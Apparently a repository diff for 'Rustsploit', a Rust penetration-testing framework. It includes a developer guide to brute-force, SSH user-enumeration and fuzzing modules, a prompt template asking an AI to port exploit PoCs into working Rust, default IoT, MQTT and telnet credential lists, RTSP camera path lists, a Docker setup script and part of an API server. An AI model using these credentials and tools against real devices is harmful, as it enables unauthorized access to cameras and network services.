- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
- **FTP Bruteforce Enhancements**:
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
- JSON configuration system with load/save/validation
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
- Framework `normalize_target()` integration
- **L2TP/IPsec Module**:
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
- Proper IPsec Phase 1/2 and L2TP session management
- L2TPv2 packet crafting with AVP encoding
### Recent Module Enhancements
- **Telnet Module**:
- Full IAC (Interpret As Command) negotiation with proper option handling
- Enhanced error classification with specific error types
- Verbose mode for quick checks with detailed attempt reporting
- Improved buffer handling using `BytesMut` with size limits
- **RDP Module**:
- Streaming failover for password files >150MB
- Comprehensive error classification with 8 error types
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
- Command injection prevention via argument sanitization
- **MQTT Module**:
- Full MQTT 3.1.1 protocol implementation
- Proper variable-length encoding and UTF-8 string encoding
- CONNACK response parsing with error classification
- **SSH User Enumeration**:
- Implements timing-based enumeration inspired by CVE-2018-15473
- Statistical analysis using standard deviation to identify valid users
- precise `tokio::time::Instant` measurements for authentication attempts
- **Directory Bruteforcer**:
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
- Recursive scanning logic with depth control
- Custom `Client` configuration for optimized throughput
- Interactive setup wizard `setup_wizard` guides users through configuration
- **Sequential Fuzzer**:
- Supports versatile payload placement (URL, Header, Body)
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
- Base-N counting algorithm for exhaustive iteration without memory overhead
- Modular `charset` selection (SQL, Traversal, Command Injection)
---
## Exploit Modules: Best Practices
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
---
## Utilities & Helpers
`src/utils.rs` provides:
- **`normalize_target`**: Comprehensive target normalization supporting:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
- **Proxy helpers**: `load_proxies_from_file`, `test_proxies`, etc. (described earlier).
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
---
## Testing & QA
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
---
## Roadmap & Ideas
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
- Transport abstractions for UDP/DoS modules
Contributions are welcome—open an issue or start a discussion before large refactors.
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
+58
View File
@@ -0,0 +1,58 @@
Required Signature
The module must contain this exact public async function:
pub async fn run(target: &str) -> anyhow::Result<()>
Or any variant like:
pub async fn run(_target: &str) -> anyhow::Result<()>
Or even:
pub async fn run(host: &str) -> anyhow::Result<()>
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
✅ Ensure the module defines a pub async fn run(target: &str) -> Result<()> entry point.
All internal logic must be routed through this function.
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
✅ If necessary, clean up variable scoping or imports, but never remove real features.
✅ keep all comments from the orginal but add two / before comments
✅ only use the poc and it must be a 1 to 1 convertion
Here is the original module that needs to be refactored:
Strict Requirements:
The code must be 100% pure Rust, fully compatible with Linux operating systems.
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
+15
View File
@@ -0,0 +1,15 @@
public
guest
sysadmin
hivemq
emonpimqtt2016
mosquitto
mqttpassword
password
[auto-generated]
[empty]
[printed on PLC]
password
password
password
bitnami
+15
View File
@@ -0,0 +1,15 @@
admin
guest
sysadmin@thingsboard.org
admin
emonpi
mosquitto
mqttuser
admin
homeassistant
DVES_USER
admin
roger
sub_client
pub_client
user
+48
View File
@@ -0,0 +1,48 @@
# 📚 Rustsploit Data Files
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
---
## Available Files
| File / Directory | Used By | Description |
|------------------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
---
## Contributing Lists
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
---
## Ideas for Future Lists
- `ftp-default-creds.txt` for anonymous login checks
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
- `snmp-community-strings.txt` for SNMP brute forcing
- `fortinet-users.txt` for Fortinet SSL VPN testing
- `ssh-default-creds.txt` for common SSH credentials
## Security Notes
When contributing wordlists:
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
- **Line format:** One entry per line, use `#` or `//` for comments
Pull requests welcome—please include both the data file and an entry here.
+176
View File
@@ -0,0 +1,176 @@
0
0video1
1
1.AMP
11:1main
1cif
1stream1
11
12
4
CAM_ID.password.mp2
CH001.sdp
GetData.cgi
H264
HighResolutionVideo
HighResolutionvideo
Image.jpg
LowResolutionVideo
MJPEG.cgi
MediaInputh264
MediaInputh264stream_1
MediaInputmpeg4
ONVIFMediaInput
ONVIFchannel1
PSIAStreamingchannels0?videoCodecType=H.264
PSIAStreamingchannels1
PSIAStreamingchannels1?videoCodecType=MPEG4
PSIAStreamingchannelsh264
Possible
ROHchannel11
StreamingChannels1
StreamingChannels101
StreamingChannels102
StreamingChannels103
StreamingChannels2
StreamingUnicastchannels101
Streamingchannels101
Video?Codec=MPEG4&Width=720&Height=576&Fps=30
VideoInput1h2641
access_code
access_name_for_stream_1_to_5
av0_0
av0_1
av2
avn=2
axis-mediamedia.amp
axis-mediamedia.amp?videocodec=h264&resolution=640x480
cam
camrealmonitor
camrealmonitor?channel=1&subtype=00
camrealmonitor?channel=1&subtype=01
camrealmonitor?channel=1&subtype=1
cam0_0
cam0_1
cam1h264
cam1h264multicast
cam1mjpeg
cam1mpeg4
cam1onvif-h264
camera.stm
cgi-binviewervideo.jpg?resolution=640x480
ch0
ch0.h264
ch001.sdp
ch01.264
ch0_0.h264
ch0_unicast_firststream
ch0_unicast_secondstream
channel1
dms.jpg
dms?nowprofileid=2
h264
h264.sdp
h264ch1sub
h264media.amp
h264Preview_01_main
h264Preview_01_sub
cam4mpeg4
h264_vga.sdp
image.jpg
image.mpg
imagejpeg.cgi
imgmedia.sav
imgvideo.asf
imgvideo.sav
ioImage1
ipcam.sdp
ipcamstream.cgi?nowprofileid=2
ipcam_h264.sdp
jpgimage.jpg?size=3
live
live.sdp
liveav0
livech0
livech00_0
livech00_1
livech1
livech2
liveh264
livempeg4
live0.264
live1.264
live1.sdp
live2.sdp
live3.sdp
live_h264.sdp
live_mpeg4.sdp
livestream
livestream
media
media.amp
mediamedia.amp
mediavideo1
mediavideo2
mediavideo3
medias1
mjpeg.cgi
mjpegmedia.smp
mp4
mpeg4
mpeg41media.amp
mpeg4media.amp
mpeg4media.amp?resolution=640x480
mpeg4media.smp
mpeg4cif
mpeg4unicast
mpg4rtsp.amp
multicaststream
now.mp4
nph-h264.cgi
nphMpeg4g726-640x
nphMpeg4g726-640x480
nphMpeg4nil-320x240
onvif-mediamedia.amp
onviflive2
onvif1
onvif2
play1.sdp
play2.sdp
profile
recognizer
rtpvideo1.sdp
rtsp_tunnel
rtsph264
rtsph2641080p
stream1
stream2
streamingmjpeg
synthesizer
tcpav0_0
user_defined
video
video.3gp
video.cgi
video.cgi?resolution=VGA
video.cgi?resolution=vga
video.h264
video.mjpg
video.mp4
video.pro1
video.pro2
ucast11
unicastc1s1live
user.pin.mp2
video.pro3
videomjpg.cgi
video1
video1+audio1
video2.mjpg
videoMain
videoinput_1:0h264_1onvif.stm
user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream
videostream.cgi?rate=0
vis
wfov
+82
View File
@@ -0,0 +1,82 @@
OPTIONS
DESCRIBE
SETUP
PLAY
PAUSE
TEARDOWN
GET_PARAMETER
SET_PARAMETER
REDIRECT
ANNOUNCE
RECORD
FLUSH
PING
STOP
RECEIVE
START
SHUTDOWN
CHECK
INIT
TRICKPLAY
STREAM
OPEN
CLOSE
START_RECORD
STOP_RECORD
SCALE
RESUME
STANDBY
START_PLAY
REQUEST_KEY_FRAME
CONFIG
FORCE_IFRAME
DETECT
ALIVE
RENEW
LINK
UNLINK
SET_DELAY
RESET
ACTIVATE
DEACTIVATE
ENABLE
DISABLE
LOGON
LOGOFF
AUTH
START_STREAM
STOP_STREAM
SET_TIME
GET_TIME
GET_STATUS
GET_CONFIG
SET_CONFIG
GET_INFO
SET_INFO
GET_SNAPSHOT
TRIGGER
UPGRADE
QUERY
POLL
HEARTBEAT
REPORT
CAMERA_CONTROL
FOCUS
ZOOM
PTZ
PAN
TILT
PRESET
GOTO_PRESET
SET_PRESET
REMOVE_PRESET
ADJUST
STATUS
RESTART
GET_URL
SET_URL
LOAD
SAVE
REGISTER
UNREGISTER
METADATA
+1
View File
@@ -0,0 +1 @@
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 435 KiB

+327
View File
@@ -0,0 +1,327 @@
#!/usr/bin/env python3
"""
Interactive generator for RustSploit Docker-Compose stack.
Produces:
docker-compose.rustsploit.yml (with embedded Dockerfile)
.env.rustsploit-docker
and prints the command to bring the stack up.
This variant includes runtime fixes to avoid permission-denied on /app/data
and ensures the container starts as root briefly to fix ownership, then
executes the rustsploit binary as the less-privileged `rustsploit` user.
"""
import secrets
import os
import stat
import socket
import ipaddress
import subprocess
import pwd
from pathlib import Path
# Fix: Use parent.parent since script is in scripts/ directory
repo = Path(__file__).resolve().parent.parent
if not (repo / "Cargo.toml").exists():
print("[-] Error: Run this script from the RustSploit repository root.")
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
exit(1)
# ---------- Helper functions ----------
def ask(prompt, default=None, validator=None):
"""Interactive prompt with validation."""
suffix = f" [{default}]" if default is not None else ""
while True:
val = input(f"{prompt}{suffix}: ").strip()
if not val and default is not None:
val = default
if not val:
print("Value cannot be empty.")
continue
if validator:
try:
validator(val)
except ValueError as e:
print(f"Invalid input: {e}")
continue
return val
def ask_yes_no(prompt, default=True):
"""Yes/No prompt."""
hint = "Y/n" if default else "y/N"
while True:
val = input(f"{prompt} ({hint}): ").strip().lower()
if not val:
return default
if val in ("y", "yes"):
return True
if val in ("n", "no"):
return False
print("Please answer 'y' or 'n'.")
def validate_host(host):
"""Validate host/IP address."""
host = host.strip()
if not host:
raise ValueError("Host cannot be empty")
# Allow localhost
if host == "localhost":
return
# Try to parse as IP
try:
ipaddress.ip_address(host)
except ValueError:
# Not a valid IP, check if it's a valid hostname
if len(host) > 253:
raise ValueError("Hostname too long (max 253 chars)")
if any(c.isspace() for c in host):
raise ValueError("Hostname cannot contain whitespace")
def validate_port(port_str):
"""Validate port number."""
try:
port = int(port_str)
if not (1 <= port <= 65535):
raise ValueError("Port must be between 1 and 65535")
except ValueError as e:
if "invalid literal" in str(e):
raise ValueError("Port must be a number")
raise
def detect_private_ip():
"""Try to detect private IP address."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
sock.connect(("192.0.2.1", 80))
return sock.getsockname()[0]
except OSError:
return None
# ---------- Interactive prompts ----------
print("\n[+] RustSploit Docker Setup\n")
# Host selection
print("Select bind address:")
print(" [1] 127.0.0.1 (localhost only)")
print(" [2] 0.0.0.0 (all interfaces)")
print(" [3] Private LAN IP (auto-detect)")
print(" [4] Custom IP/hostname")
choice = ask("Choice", "2")
if choice == "1":
host = "127.0.0.1"
elif choice == "2":
host = "0.0.0.0"
elif choice == "3":
detected = detect_private_ip()
if detected:
print(f"[+] Detected private IP: {detected}")
use_detected = ask_yes_no("Use detected IP?", True)
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
else:
print("[-] Could not auto-detect private IP")
host = ask("Enter IP/hostname", validator=validate_host)
else:
host = ask("Enter IP/hostname", validator=validate_host)
# Port
# Default changed to 9000 as this is a common API port and matches user's prior usage
port_str = ask("Host port to expose", "9000", validator=validate_port)
port = int(port_str)
# API Key
print("\n[+] API Key Configuration")
generate_key = ask_yes_no("Generate random API key?", True)
if generate_key:
api_key = secrets.token_urlsafe(32)
print(f"[+] Generated API key: {api_key}")
else:
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
# Hardening
print("\n[+] Security Hardening")
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
ip_limit = 10
if harden:
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
ip_limit = int(ip_limit_str)
# ---------- File generation ----------
env_file = ".env.rustsploit-docker"
compose_file = "docker-compose.rustsploit.yml"
env_path = repo / env_file
compose_path = repo / compose_file
# Check for existing .env file
if env_path.exists():
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite .env file?", False):
print("[-] Aborted.")
exit(0)
# Check for existing docker-compose file
if compose_path.exists():
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite docker-compose file?", False):
print("[-] Aborted.")
exit(0)
# ---- .env ----
container_interface = f"0.0.0.0:{port}"
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
RUSTSPLOIT_API_KEY={api_key}
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
RUSTSPLOIT_IP_LIMIT={ip_limit}
"""
env_path.write_text(env_content)
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"\n[+] Generated: {env_path}")
# Fix ownership if file was created with sudo (owned by root)
if env_path.stat().st_uid == 0:
print("[!] File was created as root. Fixing ownership...")
try:
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
if not user:
user = pwd.getpwuid(os.getuid()).pw_name
# If we're running as root (via sudo), we can chown directly
if os.geteuid() == 0:
user_info = pwd.getpwnam(user)
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
print(f"[+] Ownership fixed: {user}:{user}")
else:
# Not root, need to use sudo
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
print(f"[+] Ownership fixed: {user}:{user}")
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
print(f"[!] Warning: Could not automatically fix ownership: {e}")
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
# ---- docker-compose.yml with embedded Dockerfile ----
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
# /app/data at container startup, then it drops privileges and executes the
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
dockerfile_content = """FROM rust:1.83-slim AS builder
WORKDIR /workspace
ENV CARGO_TERM_COLOR=always
RUN apt-get update \\
&& apt-get install -y --no-install-recommends \\
build-essential \\
pkg-config \\
libssl-dev \\
libclang-dev \\
libpcap-dev \\
libsqlite3-dev \\
&& rm -rf /var/lib/apt/lists/*
COPY Cargo.toml ./
COPY Cargo.lock* ./
COPY . .
RUN cargo build --release --bin rustsploit
FROM debian:bookworm-slim AS serve
RUN apt-get update \\
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
&& rm -rf /var/lib/apt/lists/*
# create non-root user
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
WORKDIR /app
# create data dir (image-level), but runtime entrypoint will chown the volume target
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
echo 'set -e' >> /entrypoint.sh && \\
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
echo ' fi' >> /entrypoint.sh && \\
echo 'fi' >> /entrypoint.sh && \\
# ensure data dir exists and is owned by rustsploit so that non-root process can write
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
# finally, execute rustsploit as the rustsploit user using runuser
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
chmod +x /entrypoint.sh && \\
chown root:root /entrypoint.sh && \\
chown root:root /usr/local/bin/rustsploit
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
"""
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
dockerfile_path = repo / "Dockerfile.rustsploit"
dockerfile_path.write_text(dockerfile_content)
print(f"[+] Generated: {dockerfile_path}")
# Generate docker-compose.yml
compose_content = f"""# Generated by {Path(__file__).name}
services:
rustsploit-api:
container_name: rustsploit-api
build:
context: .
dockerfile: Dockerfile.rustsploit
target: serve
restart: unless-stopped
env_file:
- {env_file}
ports:
- "{host}:{port}:{port}"
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
volumes:
- rustsploit-data:/app/data
volumes:
rustsploit-data:
name: rustsploit-data
"""
compose_path.write_text(compose_content)
print(f"[+] Generated: {compose_path}")
print("\n[+] Setup complete!")
print("\n[+] Generated files:")
print(f" - {env_path.relative_to(repo)}")
print(f" - {compose_path.relative_to(repo)}")
print(f" - {dockerfile_path.relative_to(repo)}")
print(f"\n[!] Note: Run docker compose commands from the repository root:")
print(f" cd {repo}")
print("\n[+] To start the stack, run:")
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} up -d --build")
print("\n[+] To view logs:")
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} logs -f")
print("\n[+] To stop the stack:")
print(f" cd {repo} && docker compose -f {compose_file} down")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} down")
+793
View File
@@ -0,0 +1,793 @@
use anyhow::{Context, Result};
use axum::{
extract::{ConnectInfo, Request, State},
http::{HeaderMap, StatusCode},
middleware::Next,
response::{IntoResponse, Response},
routing::{get, post},
Json, Router,
};
use std::net::SocketAddr;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use std::{
collections::HashMap,
path::PathBuf,
sync::Arc,
};
use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
sync::{RwLock, Semaphore},
};
use tower::ServiceBuilder;
use tower_http::{
trace::TraceLayer,
limit::RequestBodyLimitLayer,
};
use uuid::Uuid;
use crate::commands;
/// Maximum request body size (1MB) to prevent DoS
const MAX_REQUEST_BODY_SIZE: usize = 1024 * 1024;
/// Maximum number of tracked IPs before cleanup
const MAX_TRACKED_IPS: usize = 100_000;
/// Maximum number of auth failure entries
const MAX_AUTH_FAILURE_ENTRIES: usize = 100_000;
#[derive(Clone, Debug)]
pub struct ApiKey {
pub key: String,
pub created_at: DateTime<Utc>,
}
#[derive(Clone, Debug, Serialize)]
pub struct IpTracker {
pub ip: String,
pub first_seen: DateTime<Utc>,
pub last_seen: DateTime<Utc>,
pub request_count: u32,
}
#[derive(Clone, Debug, Serialize)]
pub struct AuthFailureTracker {
pub ip: String,
pub failed_attempts: u32,
pub first_failure: DateTime<Utc>,
pub blocked_until: Option<DateTime<Utc>>,
}
/// Global limit for concurrent module executions to prevent resource exhaustion
const MAX_CONCURRENT_MODULES: usize = 10;
#[derive(Clone)]
pub struct ApiState {
pub current_key: Arc<RwLock<ApiKey>>,
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
pub harden_enabled: bool,
pub ip_limit: u32,
pub log_file: PathBuf,
pub execution_limit: Arc<Semaphore>,
}
#[derive(Serialize, Deserialize)]
pub struct ApiResponse {
pub success: bool,
pub message: String,
pub data: Option<serde_json::Value>,
}
#[derive(Serialize, Deserialize)]
pub struct RunModuleRequest {
pub module: String,
pub target: String,
}
#[derive(Serialize, Deserialize)]
pub struct ListModulesResponse {
pub exploits: Vec<String>,
pub scanners: Vec<String>,
pub creds: Vec<String>,
}
// ----------------------
// Validation utilities
// ----------------------
fn sanitize_for_log(input: &str) -> String {
let mut s = input.replace(['\r', '\n', '\t'], " ");
if s.len() > 500 {
s.truncate(500);
s.push_str("");
}
s
}
fn is_printable_ascii(s: &str) -> bool {
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
}
fn validate_api_key_format(key: &str) -> bool {
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
}
fn validate_module_name(module: &str) -> bool {
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
if module.is_empty() || module.len() > 200 { return false; }
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
return false;
}
let parts: Vec<&str> = module.split('/').collect();
if parts.len() < 2 { return false; }
matches!(parts[0], "exploits" | "scanners" | "creds")
}
fn validate_target(target: &str) -> bool {
if target.is_empty() || target.len() > 2048 { return false; }
if !is_printable_ascii(target) { return false; }
// Basic sanity: avoid spaces at ends and double CRLF injections
let trimmed = target.trim();
trimmed == target && !target.contains("\r\n\r\n")
}
impl ApiState {
pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
let log_file = std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("."))
.join("rustsploit_api.log");
Self {
current_key: Arc::new(RwLock::new(ApiKey {
key: initial_key,
created_at: Utc::now(),
})),
ip_tracker: Arc::new(RwLock::new(HashMap::new())),
auth_failures: Arc::new(RwLock::new(HashMap::new())),
harden_enabled: harden,
ip_limit,
log_file,
execution_limit: Arc::new(Semaphore::new(MAX_CONCURRENT_MODULES)),
}
}
pub async fn rotate_key(&self) -> Result<String> {
let new_key = Uuid::new_v4().to_string();
let mut key_guard = self.current_key.write().await;
key_guard.key = new_key.clone();
key_guard.created_at = Utc::now();
drop(key_guard);
// Clear IP tracker on rotation
let mut tracker_guard = self.ip_tracker.write().await;
tracker_guard.clear();
drop(tracker_guard);
self.log_message(&format!(
"[SECURITY] API key rotated at {}",
Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
))
.await?;
Ok(new_key)
}
pub async fn track_ip(&self, ip: &str) -> Result<bool> {
if !self.harden_enabled {
return Ok(false);
}
// Validate IP string length
if ip.len() > 128 {
return Ok(false);
}
let mut tracker_guard = self.ip_tracker.write().await;
let now = Utc::now();
// Cleanup old entries if we have too many tracked IPs (memory protection)
if tracker_guard.len() >= MAX_TRACKED_IPS {
// Remove oldest entries (keep most recent half)
let mut entries: Vec<_> = tracker_guard.drain().collect();
entries.sort_by(|a, b| b.1.last_seen.cmp(&a.1.last_seen));
entries.truncate(MAX_TRACKED_IPS / 2);
for (k, v) in entries {
tracker_guard.insert(k, v);
}
let _ = self.log_message(&format!(
"[CLEANUP] Pruned IP tracker from {} to {} entries",
MAX_TRACKED_IPS,
tracker_guard.len()
)).await;
}
if let Some(tracker) = tracker_guard.get_mut(ip) {
// Update existing tracker - use all fields
tracker.last_seen = now;
tracker.request_count = tracker.request_count.saturating_add(1);
// Log detailed tracking info using first_seen
let duration = now.signed_duration_since(tracker.first_seen);
let _ = self.log_message(&format!(
"[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
tracker.ip,
tracker.request_count,
tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
duration.num_seconds()
)).await;
} else {
// Create new tracker - all fields are set and will be used
let new_tracker = IpTracker {
ip: ip.to_string(),
first_seen: now,
last_seen: now,
request_count: 1,
};
// Log new IP using all fields
let _ = self.log_message(&format!(
"[TRACKING] New IP detected: {} (first seen: {})",
new_tracker.ip,
new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
)).await;
tracker_guard.insert(ip.to_string(), new_tracker);
}
let unique_ips = tracker_guard.len() as u32;
drop(tracker_guard);
if unique_ips > self.ip_limit {
let new_key = self.rotate_key().await?;
self.log_message(&format!(
"[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
unique_ips, self.ip_limit, new_key
))
.await?;
println!(
"⚠️ [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
unique_ips, self.ip_limit
);
println!("⚠️ New API key: {}", new_key);
return Ok(true);
}
Ok(false)
}
pub async fn log_message(&self, message: &str) -> Result<()> {
let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
let safe = sanitize_for_log(message);
